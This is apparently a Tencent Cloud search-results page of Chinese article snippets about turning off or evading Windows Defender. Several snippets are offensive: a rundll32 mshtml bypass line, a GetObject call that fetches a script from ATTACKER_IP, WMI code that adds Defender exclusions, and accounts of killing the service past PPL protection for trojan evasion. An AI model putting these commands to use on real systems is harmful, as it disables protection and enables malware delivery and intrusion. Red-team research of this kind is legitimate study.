- 综合排序
- 最热优先
- 最新优先
- 来自专栏Khan安全团队
Stop Windows Defender
对于那些已经测试过 Microsoft 操作系统默认嵌入的安全解决方案 Windows Defender 的渗透测试人员，您会同意我的看法，它自首次发布以来已经有了很大改进，尤其是具有 Windows 简而言之，Windows Defender 的主要组件是“ WinDefend ”服务，负责启动持续监控进程“ MsMpEng.exe ”并加载其引擎“ mpengine.dll ”，因此如果我们能够停止该服务 停止 Windows Defender 使用 TrustedInstaller 和 Windefend 服务帐户以编程方式创建新令牌。 一键停止操作，无需提供命令行选项或 pid。
91020编辑于 2023-02-23 - 来自专栏Khan安全团队
绕过 Windows Defender
绕过 Windows Defender 木马：Win32/Powessere.G C:\ > rundll32.exe javascript:" \..\..\..\ mshtml,RunHTMLApplication
1K60编辑于 2022-01-27 - 来自专栏Khan安全团队
TrustedInstaller，停止 Windows Defender
对于那些已经尝试过微软操作系统默认嵌入的安全解决方案 Windows Defender 的渗透测试者，你会同意我的观点，自首次发布以来它已经有了很大的改进，尤其是 Windows 10 具有云容量的最新版本 简单来说，Windows Defender 的主要组件是“ WinDefend ”服务，负责启动持续监控进程“ MsMpEng.exe ”并加载其引擎“ mpengine.dll ”，所以如果我们能够停止该服务 令牌 Microsoft Windows 操作系统中的令牌是一种安全元素，当进程和线程想要对安全系统对象（文件、注册表、服务......）执行操作时，它为它们提供标识。 也就是说，现代 Windows 操作系统中的每个服务都有一个与其名称匹配的虚拟组。 在 Microsoft Windows 操作系统中，一切都是安全的对象，服务也同样如此，因此它提供了一组 DACL 和保护权限。
2.4K10编辑于 2022-01-18 - 来自专栏Khan安全团队
Microsoft Windows Defender 检测绕过
Microsoft Defender 防病毒软件是 Microsoft Defender for Endpoint 中下一代保护的主要组件。 Microsoft Defender 防病毒内置于 Windows 中，它与 Microsoft Defender for Endpoint 配合使用，为您的 设备和云端。 【漏洞类型】 Windows Defender 检测绕过 TrojanWin32Powessere.G - 后门：JS/Relvelshe.A 目前，Windows Defender 检测并阻止利用 \mshtml,RunHTMLApplication";alert(666) Windows Defender 还使用 GetObject("script:http://ATTACKER_IP/hi.tmp Windows Defender 还阻止下载的代码执行，检测为“Backdoor:JS/Relvelshe.A”，一旦它命中 InetCache，就会被 Windows Defender 删除。
1.5K10编辑于 2022-01-14 - 来自专栏萌海无涯
关闭 Windows Defender 工具
许多人正在寻找禁用或从系统中删除它的方法，因为他们倾向于使用其他软件，例如，在Windows 8和10上，您无法再完全关闭Windows Defender了，单击Windows Defender中的“设置 Defender Control是一个小型便携式免费软件，它将使您可以完全禁用Windows 10中的Windows Defender。 3.一些防病毒程序会要求用户手动关闭或禁用Windows Defender在Windows 10中… 4.如果启用了该功能，则每次启动PC时Windows Defender都有机会启动。 如何使用Defender控件： 下载Defender控件并解压缩，然后运行该程序，您可以在“程序”界面上查看Windows Defender状态： 1.绿色– Windows Defender正在运行 2.红色– Windows Defender已关闭 3.橙色–无法启动Windows防御程序实时保护已关闭 要禁用–启用Windows防御程序，请单击相应的按钮，也可以一键启动Windows防御程序或Windows
4.5K21发布于 2019-10-24 - 来自专栏鸿鹄实验室
Bypass Windows Defender Reverse Shell
引言 本文将从powershell特性说起，一步步介绍powershell特性，并使用特性绕过Windows Defender Reverse Shell，并在最后给出自动化工具。
1.4K40发布于 2021-04-15 - 来自专栏Windows技术交流
去除Windows Defender安全通知
前提：自己对安全在行，不需要defender安全通知 思路： 1、提权禁止Defender计划任务 参考https://cloud.tencent.com/developer/article/2285183 Defender\的权限后禁用安全相关9或10个服务 属性 → 安全 → 高级 → 改变所有者 → Administrators（如下图） → 应用 → 是 → 是 → 确定 → 确定 → 确定 reg Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d 1 /f reg add "HKEY_LOCAL_MACHINE \SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d 1 /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Signature
59210编辑于 2024-02-01 - 来自专栏漫流砂
Windows defender bypass ｜ 免杀
官方文档 在制作免杀的过程中，翻找 Windows 官方对 Windows Defender 的介绍，发现有这样一个目录：Configure Microsoft Defender Antivirus exclusions on Windows Server（在 Windows server 中配置defender排除项）。 简而言之就是在 Windows Server2016 和 2019 中，Windows Defender 默认存在一些排除项，在实时检测过程中会忽略这些排除项，但是主动扫描的时候不会排除。 这就给 Bypass Windows Defender 提供了一个新思路。 首先使用 msf 生成一个默认的 exe 木马，并下载到目标服务器中执行，发现 Windows Defender 发出警告： ? 获得的 session 也是昙花一现： ?
2.7K31发布于 2021-06-15 - 来自专栏鸿鹄实验室
利用 WMI and COM 绕过windows defender
先知上曾经有人发过一篇利用windows defender排除项来免杀的文章，文章地址： https://xz.aliyun.com/t/10317 而这个过程我们也可以使用代码来进行实现 INT AddDefenderExclussion ); return 0; } IWbemServices* pSvc = 0; hr = pLoc->ConnectServer(BSTR(L"ROOT\\Microsoft\\Windows \\Defender"), NULL, NULL, 0, NULL, 0, 0, &pSvc); if (FAILED(hr)) { ::wprintf(L"[-] ConnectServer
1.3K50发布于 2021-11-12 - 来自专栏黑白天安全团队
绕过ppl保护关闭Windows Defender
描述 可以关闭Windows Defender服务并通过提升权限删除ppl保护，然后删除Windows Defender中的DLL和其他文件，使Windows Defender服务无法运行，从而导致Windows 2.关闭Windows Defender服务 这个其实并不是漏洞，因为我们的administrator权限也可以直接临时关闭Windows Defender服务。 但是这样关闭Windows Defender服务可以手工打开和重启会自动打开，我们想要的是永远关闭Windows Defender服务，在黑客的想法中就是目标无论如何都没有办法再次启动Windows Defender Windows Defender服务的目的。 Windows Defender的文件保存路径为： C:\Program Files\Windows Defender C:\Program Files\Windows Defender Advanced
3.2K11编辑于 2021-12-13 - 来自专栏久梦世界
如何彻底关闭windows defender
Win10系统中自带了windows defender杀毒软件，他的好评率并不高，其一是扫描的频率太高，占用大量CPU；其二是有些文件，不经过任何提示就直接删除了。 今天我们将介绍彻底关闭windows defender杀毒软件的方法 1、安装杀毒软件（所有版本适用） 安装其它杀毒软件，Windows Defender会自动关闭。 Defender，在右边侧栏选择“关闭Windows Defender”。 Defender 3）在右侧点右键，选择新建—DWORD(32位)值；4）将新值命名为DisableAntiSpyware，并双击修改值为1； ? 重启电脑，任务栏看不到windows defender图标 ? 本篇文章为学艺不精的zby1101，收集整理，如有错误请后台指正，谢谢；如有侵权，请联系我，感谢！
33.8K11发布于 2020-08-05 - 来自专栏Windows运维
如何启用 Windows Defender 实时保护？
方法二：通过 Windows 安全中心启用实时保护步骤：打开“Windows 安全中心”：按下Win + S键，输入“Windows 安全中心”，然后按回车。点击“病毒和威胁防护”。 导航到以下路径：计算机配置 -> 管理模板 -> Windows 组件 -> Microsoft Defender 防病毒程序 双击“关闭实时保护”策略。选择“已禁用”，然后点击“应用”和“确定”。 导航到以下路径：HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender 如果存在DisableRealtimeMonitoring 方法五：检查第三方杀毒软件冲突适用场景： 如果安装了第三方杀毒软件，可能会禁用 Windows Defender 的实时保护功能。 如果有冲突，可以卸载第三方杀毒软件或调整其设置以允许 Windows Defender 运行。
5K10编辑于 2025-03-22 - 来自专栏cultureSun学安全
永久关闭Windows Defender实时保护
简介 Windows Defender ，现名 Microsoft Defender，曾用名 Microsoft Anti Spyware ，是一个杀毒程序，可以运行在 Windows XP 和 Windows Windows Defender的定义库更新很频繁。 Windows Defender 不像其他同类免费产品一样只能扫描系统，它还可以对系统进行实时监控。 从 Windows 10 开始， Windows Defender 加入了右键扫描和离线杀毒，根据最新的每日样本测试，查杀率已经有了大的提升，达到国际一流水准。 2020年4月，在 Windows 10 2020年5月更新中（2004），微软更新了 Windows 安全中心应用，将其中的 Windows Defender 更改为 Microsoft Defender 但是通常会被Windows Defender识别为病毒删除。 这都是因为开启了Windows Defender的实时保护功能。记得之前关掉这个实时保护后，就算重启电脑也不会自动开启，现在好像不行了。
1.7K20编辑于 2023-07-08 - 来自专栏潇湘信安
Windows2022绕过Defender提权
0x01 前言 星球某位师傅找我讨论了一个他在项目实战测试中关于Windows2022绕过Windows Defender提权过程遇到的一些问题，在这简单记录并分享下在这种场景下如何绕过该防护进行提权的方法和思路 根据他的描述是通过MSSQL注入写入的一个.NET Webshell，然后通过哥斯拉ShellcodeLoader功能绕过Windows Defender上线CobaltStirke（WDF没有拦截，他没具体说 但我在本地测试中有发现哥斯拉4.0.1的.NET Webshell会被Defender查杀（需自行做免杀处理）。 C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319 最终给找到的原因就是他在使用InlineExecute-Assembly执行GodPotato时没有加上--mailSlot参数导致没有回显，本地也给测试了下是OK的，Defender全程无拦截。
1.1K10编辑于 2024-06-19 - 来自专栏文鹃阁
避免Windows Defender误删文件的方法
preface 作为一个有点网络安全知识的菜鸡，经常会用到一些渗透工具和脚本，有些时候，刚下载完的工具就会直接被 Windows Defender(下面简称 WD) 给删除，真的心态爆炸，拜托，爷就是搞安全的 本来把 WD 都已经关掉了，下载的工具不会被删，最近写个木马脚本又提示说有危险，写好保存之后直接给我删了，wtm，想干死他 解决方案 一种方法，进入 Windows 安全中心，看到一个盾牌，点进去，进入管理设置 看到实时保护，将它关闭，这样就可以在一段时间内免遭 WD 乱删文件，不过这狗比玩意好像是下次开机会自己启动的，所以好像还治不了根，目前好像只有这种方法了，再乱删的时候就再关闭就好了，这点 Windows
3.4K20编辑于 2022-09-02 - 来自专栏c++ 学习分享
怎么在windows10中关闭Windows Defender？
1 通过修改注册表，永久禁用Windows Defender1，打开注册表编辑器。#f# 按 Win +R键入regedit，点击确定。 2，定位需要修改的注册表其路径如下HKEY_LOCAL_MACHINE \ SOFTWARE \ Policies \ Microsoft \ Windows Defender。 重启电脑Windows Defender已经不会在开机启动了。
1.1K30编辑于 2023-07-06 - 来自专栏电光石火
win10 1903关闭windows defender
系统升级到1903版本后开启了烦人的Windows Defender防火墙，老是乱删东西。 手动彻底地关闭最新版1903的这个Defender方法： 第一步：打开Defender设置，关闭"实时保护"和"篡改保护"。 设置------更新和安全------Windows安全中心------病毒和威胁防护------关闭下图所示的2项 ? 第二步：修改组策略，关闭Windows Defender防病毒程序。 1、按下快捷键：Windows+R，打开运行对话框； 2、输入gpedit.msc，点击确定； 3、依次点击展开“计算机配置”——“管理模板”——“Windows组件”——“Windows Defender 防病毒程序”； 4、右侧双击“关闭 Windows Defender 防病毒程序”，然后在弹出对话框中选择“已启用”，然后点击确定即可。
2.7K10发布于 2019-12-07 - 来自专栏乌鸦安全
新版掩日——免杀Windows Defender
360主动防御 • Windows7 火绒主动防御 • Windows10 开启windows Defender 其中测试的杀软均升级到最新，并且关闭了自动上传样本的功能。 Defender（失败） 此时的 Windows Defender病毒库为最新版本： 静态测试 动态上线（被杀） 在上线之后，立刻被拦截查杀： 在这里可以发现，三个杀软中只有Windows Defender 难过，因此针对它进一步进行测试： 在这里选择了加密方法，然后再去生成木马，但是发现过Windows Defender的时候，依旧被杀。 此时生成了两个文件： 静态查杀正常： 动态加载： 动态加载的话，不是直接双击上线的，而是在命令行中，将exe加载，并且跟上分离文件的名称才可以：(此时没有杀软) 当有Windows Defender 当然Windows Defender依旧是很难对抗的，很多情况下还是要看对方的环境是啥，不要一味地追求Bypass everyone！
7.7K20编辑于 2022-06-07 - 来自专栏红蓝对抗
红蓝对抗之致盲 Windows defender
Windows defender 介绍 Microsoft Defender 防病毒软件在 Windows 10 和 Windows 11 以及 Windows Server 版本中可用。 Microsoft Defender 防病毒软件内置于 Windows 中，它与 Microsoft Defender for Endpoint 配合使用，为你的设备和云提供保护。 Windows defender 环境 版本 Windows Server 系统环境 用户：Administrator 版本：Windows Server 2019 补丁 systeminfo REG_DWORD /f" ##cmd注册表恢复Windows defender reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /f #cmd注册表恢复Windows defender reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware
1.5K40编辑于 2022-12-23 - 来自专栏乌鸦安全
pyinstaller打包逆向分析，顺便免杀Windows Defender
Defender windows 10 64位 未测 ❌ 未测 windows server 2019 64位 ❌ 未测 ❌ windows7 64位 ❌ 未测 —— 对于未打包的py文件，静态查杀效果 火绒 360 Windows Defender windows 10 64位 未测 ✅ 未测 windows server 2019 64位 ❌ 未测 ❌ windows7 64位 ❌ 未测 —— 对于打包的exe文件，动态上线效果 火绒 360 Windows Defender 电脑管家 金山毒霸 windows 10 64位 未测 ❌ 未测 ✅ ✅ windows server 2019 64位 ❌ 未测 ❌ 未测 未测 windows7 64位 ✅ 未测 —— 未测 未测 对于未打包的py文件，静态查杀效果 火绒 360 Windows Defender 电脑管家 金山毒霸 windows 火绒 360 Windows Defender 电脑管家 金山毒霸 windows 10 64位 未测 ✅ 未测 未测 未测 windows server 2019 64位 ✅ 未测 ❌ 未测 未测
3.1K20发布于 2021-08-05
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号